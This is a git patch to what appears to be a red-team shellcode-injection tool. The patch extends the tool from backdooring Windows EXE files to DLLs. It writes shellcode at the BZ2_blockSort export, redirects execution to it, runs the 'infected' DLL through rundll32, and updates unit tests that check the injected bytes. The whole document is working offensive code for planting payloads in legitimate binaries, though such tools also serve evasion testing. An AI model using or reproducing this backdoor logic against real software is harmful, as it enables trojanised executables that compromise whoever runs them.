From a488cf1b1744ebb429a7b75220a7b3a3b2737a39 Mon Sep 17 00:00:00 2001 From: Dobin Date: Sun, 7 Apr 2024 13:15:55 +0100 Subject: [PATCH] feature: inject into dll basic support --- app/templates/project.html | 2 +- app/views_project.py | 7 ++----- helper.py | 13 +++++++++++++ pe/derbackdoorer.py | 16 +++++++++++----- pe/superpe.py | 5 +++++ phases/injector.py | 16 +++++++--------- supermega.py | 5 +---- tests/test_derbackdoorer.py | 14 +++++++------- 8 files changed, 47 insertions(+), 31 deletions(-) diff --git a/app/templates/project.html b/app/templates/project.html index 2419aaf..3390ffc 100644 --- a/app/templates/project.html +++ b/app/templates/project.html @@ -115,7 +115,7 @@
{{ project_dir }} -
+
diff --git a/app/views_project.py b/app/views_project.py index 1ab1398..514822f 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -18,7 +18,7 @@ from supermega import start from app.storage import storage, WebProject from sender import scannerDetectsBytes from phases.injector import verify_injected_exe -from helper import run_process_checkret +from helper import run_process_checkret, run_exe from model.project import prepare_project from pe.superpe import SuperPe @@ -224,10 +224,7 @@ def start_project(project_name): logger.info("--[ Verify infected exe") exit_code = verify_injected_exe(project.settings.inject_exe_out) elif no_exec == False: - logger.info("--[ Start infected exe: {}".format(project.settings.inject_exe_out)) - run_process_checkret([ - project.settings.inject_exe_out, - ], check=False) + run_exe(project.settings.inject_exe_out) elif no_exec == True: dirname = os.path.dirname(os.path.abspath(project.settings.inject_exe_out)) logger.info("--[ Open folder: {}".format(dirname)) diff --git a/helper.py b/helper.py index 847dade..e88d53c 100644 --- a/helper.py +++ b/helper.py @@ -49,6 +49,19 @@ def clean_files(settings): pathlib.Path(file).unlink(missing_ok=True) +def run_exe(exefile, check=True): + logger.info("--[ Start infected file: {}".format(exefile)) + + if exefile.endswith(".dll"): + args = [ "rundll32.exe", "{},BZ2_blockSort".format(exefile) ] + elif exefile.endswith(".exe"): + args = [ exefile ] + else: + raise Exception("Unknown file type: {}".format(exefile)) + + run_process_checkret(args, check=check) + + def run_process_checkret(args, check=True): ret = subprocess.CompletedProcess("", 666) try: diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py index 9997a60..d382898 100644 --- a/pe/derbackdoorer.py +++ b/pe/derbackdoorer.py @@ -45,8 +45,16 @@ Shellcode size : {len(self.shellcodeData)} Code section size : {sect_size} ''') - offset = int((sect_size - len(self.shellcodeData)) / 2) - logger.info(f'Inserting shellcode into 0x{offset:X} offset.') + if self.superpe.is_dll(): + offset = self.getExportEntryPoint("BZ2_blockSort") + logger.info("Inserting shellcode into DLL at 0x{:X} (sizes: sect {} shellcode {})".format( + offset, sect_size, len(self.shellcodeData) + )) + else: + offset = int((sect_size - len(self.shellcodeData)) / 2) + logger.info("Inserting shellcode into EXE at 0x{:X} (sizes: sect {} shellcode {})".format( + offset, sect_size, len(self.shellcodeData) + )) self.superpe.pe.set_bytes_at_offset(offset, self.shellcodeData) self.shellcodeOffset = offset @@ -92,11 +100,9 @@ Trailing {sect_name} bytes: return False - def getExportEntryPoint(self): + def getExportEntryPoint(self, exportName): dec = lambda x: '???' if x is None else x.decode() - #exportName = self.options.get('export', '') - exportName = "" if len(exportName) == 0: logger.critical('Export name not specified! Specify DLL Exported function name to hijack with -e/--export') diff --git a/pe/superpe.py b/pe/superpe.py index fe5ca4f..1f7d5ea 100644 --- a/pe/superpe.py +++ b/pe/superpe.py @@ -34,6 +34,7 @@ class SuperPe(): def __init__(self, infile: str): + self.filepath: str = infile self.pe_sections: List[PeSection] = [] self.pe = pefile.PE(infile, fast_load=False) for section in self.pe.sections: @@ -47,6 +48,10 @@ class SuperPe(): self.ptrSize = 8 + def is_dll(self): + return self.filepath.endswith(".dll") + + def is_64(self) -> bool: return self.arch == 'x64' diff --git a/phases/injector.py b/phases/injector.py index c59e22e..5be8a30 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -26,7 +26,7 @@ def inject_exe( carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style source_style: FunctionInvokeStyle = settings.source_style - logger.info("--[ Injecting: {} + {} -> {}".format( + logger.info("--[ Injecting: {} into {} -> {}".format( shellcode_in, exe_in, exe_out )) @@ -42,13 +42,13 @@ def inject_exe( # superpe is a representation of the exe file. We gonna modify it, and save it at the end. superpe = SuperPe(exe_in) - peinj = PeBackdoor(superpe, main_shc, carrier_invoke_style) + pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style) - if not peinj.injectShellcode(): + if not pe_backdoorer.injectShellcode(): logger.error('Could not inject shellcode into PE file!') return False - if not peinj.setupShellcodeEntryPoint(): + if not pe_backdoorer.setupShellcodeEntryPoint(): logger.error('Could not setup shellcode launch within PE file!') return False @@ -65,8 +65,8 @@ def inject_exe( shellcode = file_readall_binary(shellcode_in) shellcode_len = len(shellcode) code = extract_code_from_exe_file(exe_out) - in_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+shellcode_len] - jmp_code = code[peinj.backdoorOffsetRel:peinj.backdoorOffsetRel+12] + in_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+shellcode_len] + jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12] if config.debug: observer.add_code_file("exe_extracted_loader", in_code) observer.add_code_file("exe_extracted_jmp", jmp_code) @@ -166,9 +166,7 @@ def verify_injected_exe(exefile: FilePath) -> int: # remove indicator file pathlib.Path(VerifyFilename).unlink(missing_ok=True) - run_process_checkret([ - exefile, - ], check=False) + run_exe(exefile, check=False) time.sleep(SHC_VERIFY_SLEEP) if os.path.isfile(VerifyFilename): logger.info("---> Verify OK. Infected exe works (file was created)") diff --git a/supermega.py b/supermega.py index 23e2240..8dab745 100644 --- a/supermega.py +++ b/supermega.py @@ -195,10 +195,7 @@ def start_real(settings: Settings): if payload_exit_code != 0: raise Exception("Payload exit code: {}".format(payload_exit_code)) elif settings.try_start_final_infected_exe: - logger.info("--[ Start infected exe: {}".format(settings.inject_exe_out)) - run_process_checkret([ - settings.inject_exe_out, - ], check=True) + run_exe(settings.inject_exe_out) def obfuscate_shc_loader(file_shc_in, file_shc_out): diff --git a/tests/test_derbackdoorer.py b/tests/test_derbackdoorer.py index c424a3d..6cadd61 100644 --- a/tests/test_derbackdoorer.py +++ b/tests/test_derbackdoorer.py @@ -38,8 +38,8 @@ class DerBackdoorerTest(unittest.TestCase): shutil.copyfile(exe_path, exe_out_path) - peinj = PeBackdoor() - result = peinj.backdoor( + pe_backdoorer = PeBackdoor() + result = pe_backdoorer.backdoor( 1, # always overwrite .text section 1, # EntryPoint change shellcode_path, @@ -49,7 +49,7 @@ class DerBackdoorerTest(unittest.TestCase): self.assertTrue(result) code = extract_code_from_exe_file(exe_out_path) - extracted_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+len(shellcode)] + extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)] self.assertEqual(shellcode, extracted_code) os.remove(exe_out_path) @@ -68,8 +68,8 @@ class DerBackdoorerTest(unittest.TestCase): shutil.copyfile(exe_path, exe_out_path) - peinj = PeBackdoor() - result = peinj.backdoor( + pe_backdoorer = PeBackdoor() + result = pe_backdoorer.backdoor( 1, # always overwrite .text section 2, # Hijack shellcode_path, @@ -81,13 +81,13 @@ class DerBackdoorerTest(unittest.TestCase): # code code = extract_code_from_exe_file(exe_out_path) - extracted_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+len(shellcode)] + extracted_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+len(shellcode)] self.assertEqual(shellcode, extracted_code) # jmp # 48 c7 c2 d7 fb 42 00 ff d2 5b 0f b7 # 48 c7 c6 d7 fb 42 00 ff d6 5b 0f b7 - jmp_code = code[peinj.backdoorOffsetRel:peinj.backdoorOffsetRel+12] + jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12] self.assertEqual(jmp_code[0], 0x48) self.assertEqual(jmp_code[1], 0xc7) #self.assertEqual(jmp_code[2], 0x??) # variable